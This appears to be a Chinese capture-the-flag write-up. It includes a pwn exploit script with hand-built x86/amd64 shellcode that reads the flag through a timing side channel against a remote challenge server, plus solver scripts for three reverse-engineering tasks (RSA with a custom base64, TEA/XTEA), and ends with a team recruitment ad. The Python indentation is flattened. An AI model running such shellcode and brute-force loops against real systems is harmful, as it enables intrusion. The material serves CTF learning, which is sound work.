def pwn(p,index, ch):
append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
'''
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag,arch="amd64",os="linux")
shellcode_flagg = ''
if index == 0:
shellcode_flagg += "cmp byte ptr[rsi+{0}],{1}; jz $-3; ret".format(
index, (ch))
else:
shellcode_flagg += "cmp byte ptr[rsi+{0}],{1}; jz $-4; ret".format(index, (ch))
shellcode_flagg = asm(shellcode_flagg,arch="amd64",os="linux")
shellcode = ''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch="amd64",os="linux")
sleep(0.1)
p.sendline(shellcode)
sleep(0.1)
p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag + shellcode_flagg)
bruth_start = time.time()
index = 0
ans = []
fl = "flag{"
sss = []
for i in fl:
ans.append(ord(i))
index = len(ans)
sss = [113, 119, 101, 114, 116, 121, 117, 105, 111, 112, 108, 107, 106, 104, 103, 102, 100, 115,
97, 122, 120, 99, 118, 98, 110, 109, 123, 125, 95, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48]
while True:
for ch in range(0x20, 0x7f):
if debug:
p = process([file_path])
else:
p = remote('39.105.137.118', 50050)
print("trying --> ", chr(ch))
pwn(p,index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index = index + 1
print(ans)
bruth_end = time.time()
print("".join([chr(i) for i in ans]))
print ("total time:",bruth_end-bruth_start)
Reverse
ezmath
多项式化简得
cip=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895, 0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854, 0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219, 0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966, 0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088, 0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298, 0.00008468431512187874]
flag = ''
e = 2.718281828459045
for x in cip:
sum = int(e / x)
if abs(sum*x-e) < abs((sum-1)*x-e):
sum -= 1
flag += hex(sum)[2:].decode('hex')[::-1]
print flag
StandOnTheGiants
题目的 java 层没什么代码,输入后直接调用 native 校验。校验函数伪代码如下:
v3 = env;
v4 = 0;
v20 = a3;
v5 = (*env)->GetStringUTFChars(env, a3, 0);
v6 = strlen(v5);
v8 = malloc(2 * v6 + 4);
v9 = v8;
while ( v6 != v4 )
{
hex_byte_52318(v9, -1, v7, v5[v4]);
v9 += 2;
++v4;
}
ctx = BN_CTX_new_5235C();
BN_CTX_start_5249C(ctx);
bn_m = BN_CTX_get_5264C(ctx);
BN_set_5BB08(&bn_m, v8);
free(v8);
bn_N = BN_CTX_get_5264C(ctx);
bn_e = BN_CTX_get_5264C(ctx);
_aeabi_memcpy8(temp, byte_2C6B0, 0xD1);
for ( i = 0; i != 0xD1; ++i )
temp[i] ^= 0x3Du;
BN_set_5BB08(&bn_N, temp);
_aeabi_memclr8(temp, 209);
v12 = 0;
v21 = 0;
v22 = 0;
while ( v12 != 6 )
*(&v21 + v12++) ^= 0x30u;
++BYTE1(v21);
++BYTE1(v22);
BN_set_5BB08(&bn_e, &v21);
v21 = 0;
v22 = 0;
bn_c = BN_CTX_get_5264C(ctx);
BN_powmod_529BC(bn_c, bn_m, bn_e, bn_N, ctx);
v14 = sub_565A8(bn_c);
v15 = malloc((v14 + 7) / 8);
v16 = sub_56EB8(bn_c, v15);
BN_CTX_end_525B8(ctx);
BN_CTX_free_523E8(ctx);
v17 = calloc(3u, v16);
base64_52044(v15, v17, v16, 0);
free(v15);
v18 = strcmp(
"bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG"
"+/lmqEysrTdSD+eP+moP+l?+Np/oK=",
v17);
free(v17);
(*v3)->ReleaseStringUTFChars(v3, v20, v5);
result = _stack_chk_guard;
if ( _stack_chk_guard == v27 )
result = v18;
return result;
静态编码了 openssl,利用其大数库实现了 RSA 加密。RSA 中的 n 是可查询到的。所以反解就容易了,唯一麻烦的是 base64 的反解。程序中使用的 base64 表中字符并不都是唯一的,有两个字符是重复的,所以还是要跑下,代码如下:
# -*- coding:utf-8 -*-
import base64
import gmpy2
import string,itertools
t1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@12'
t2 = string.uppercase+string.lowercase+string.digits+'+/'
def main():
# a = [ 0x0C, 0x0E, 0x0F, 0x0C, 0x79, 0x0F, 0x7B, 0x79, 0x79, 0x79,
# 0x78, 0x05, 0x7F, 0x79, 0x04, 0x79, 0x7B, 0x7B, 0x0E, 0x0A,
# 0x04, 0x7C, 0x7B, 0x7B, 0x0D, 0x0E, 0x0D, 0x79, 0x78, 0x0F,
# 0x0D, 0x08, 0x7F, 0x05, 0x09, 0x0B, 0x78, 0x7F, 0x08, 0x7E,
# 0x78, 0x7E, 0x7E, 0x09, 0x0D, 0x7B, 0x7C, 0x05, 0x7C, 0x7C,
# 0x04, 0x7E, 0x0F, 0x7C, 0x05, 0x08, 0x7E, 0x78, 0x0E, 0x78,
# 0x04, 0x04, 0x0F, 0x0C, 0x04, 0x0E, 0x78, 0x05, 0x0A, 0x0E,
# 0x7F, 0x0F, 0x7F, 0x7E, 0x0B, 0x0B, 0x0A, 0x79, 0x7C, 0x7F,
# 0x78, 0x0F, 0x7C, 0x7E, 0x0E, 0x78, 0x78, 0x04, 0x79, 0x79,
# 0x0F, 0x0E, 0x7F, 0x0E, 0x7C, 0x04, 0x78, 0x79, 0x04, 0x78,
# 0x7E, 0x0D, 0x7E, 0x0E, 0x7E, 0x0A, 0x09, 0x09, 0x08, 0x0B,
# 0x0B, 0x0E, 0x7B, 0x08, 0x09, 0x08, 0x08, 0x09, 0x0B, 0x04,
# 0x7F, 0x0A, 0x0F, 0x0A, 0x79, 0x79, 0x0B, 0x7B, 0x7F, 0x7E,
# 0x0D, 0x0E, 0x7F, 0x0C, 0x7F, 0x7B, 0x04, 0x08, 0x79, 0x0D,
# 0x0E, 0x7C, 0x0C, 0x0E, 0x7E, 0x0D, 0x0E, 0x0B, 0x05, 0x0B,
# 0x09, 0x08, 0x0A, 0x0B, 0x0A, 0x0B, 0x0E, 0x0D, 0x7E, 0x0A,
# 0x78, 0x7C, 0x7F, 0x7B, 0x08, 0x78, 0x0A, 0x7C, 0x7F, 0x08,
# 0x7B, 0x7C, 0x0F, 0x0A, 0x7F, 0x04, 0x09, 0x7C, 0x79, 0x78,
# 0x0A, 0x78, 0x0C, 0x78, 0x0F, 0x0E, 0x7F, 0x7E, 0x7E, 0x0B,
# 0x08, 0x79, 0x0F, 0x7C, 0x0A, 0x79, 0x78, 0x79, 0x0C, 0x7E,
# 0x08, 0x7F, 0x0E, 0x0B, 0x09, 0x7F, 0x08, 0x0C, 0x3D,]
# b = map(lambda x:chr(x^0x3d),a)
# print(''.join(b))
n = 0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51
p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
assert(n==p*q)
e = 0x10001
s='bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK='
t = string.maketrans(t1,t2)
ite1 = itertools.product('+1',repeat=10)
idx1 = [6,25,26,45,77,110,123,126,130,133]
idx2 = [22,43,59,74]
for it1 in ite1:
ite2 = itertools.product('-2',repeat=4)
for it2 in ite2:
l = list(s)
for i in range(10):
l[idx1[i]] = it1[i]
for i in range(4):
l[idx2[i]] = it2[i]
c = string.translate(''.join(l),t)
d = gmpy2.invert(e,(p-1)*(q-1))
tmp = base64.b64decode(c).encode('hex')
tmp = int(tmp,16)
m = gmpy2.powmod(tmp,d,n)
tmp = hex(m)[2:].replace('L','')
if len(tmp) % 2 != 0:
tmp = '0'+tmp
if len(hex(m)) < 100:
print(c,hex(m)[2:].replace('L','').decode('hex'))
exit()
if __name__ == '__main__':
main()
LongTimeAgo
去除花指令,输入应该在0123456789ABCDEF中
然后四个漫长的函数计算 4 个 key,剩下就是加密函数,但进行了伪装。
def tea_decode(enc, k):
v0 = enc[0]
v1 = enc[1]
sum = 0xa6a53780
delta = 0x3D3529BC
for i in range(32):
v1 -= ((v0<<4) + k[2]) ^ (v0 + sum) ^ ((v0>>5) + k[3])
v1 &= 0xffffffff
v0 -= ((v1<<4) + k[0]) ^ (v1 + sum) ^ ((v1>>5) + k[1])
v0 &= 0xffffffff
sum -= delta
return (v0, v1)
def xtea_decode(num, enc, k):
v0 = enc[0]
v1 = enc[1]
delta = 0x70C88617
sum = 0xE6EF3D20
for i in range(num):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + k[(sum>>11) & 3])
v1 &= 0xffffffff
sum += delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + k[sum & 3])
v0 &= 0xffffffff
return (v0, v1)
enc = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537]
for i in range(0, 4, 2):
enc[i] ^= 0xfd
enc[i+1] ^= 0x1fd
for i in range(4, 8, 2):
enc[i] ^= 0x3fd
enc[i+1] ^= 0x7fd
k = [0xfffd,0x1fffd,0x3fffd,0x7fffd]
flag = ''
for i in range(0, 4, 2):
ans = xtea_decode(32, enc[i:], k)
flag += hex(ans[0])[2:] + hex(ans[1])[2:]
for i in range(4, 8, 2):
ans = tea_decode(enc[i:], k)
flag += hex(ans[0])[2:] + hex(ans[1])[2:]
print("QWB{"+flag.upper()+"}")
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新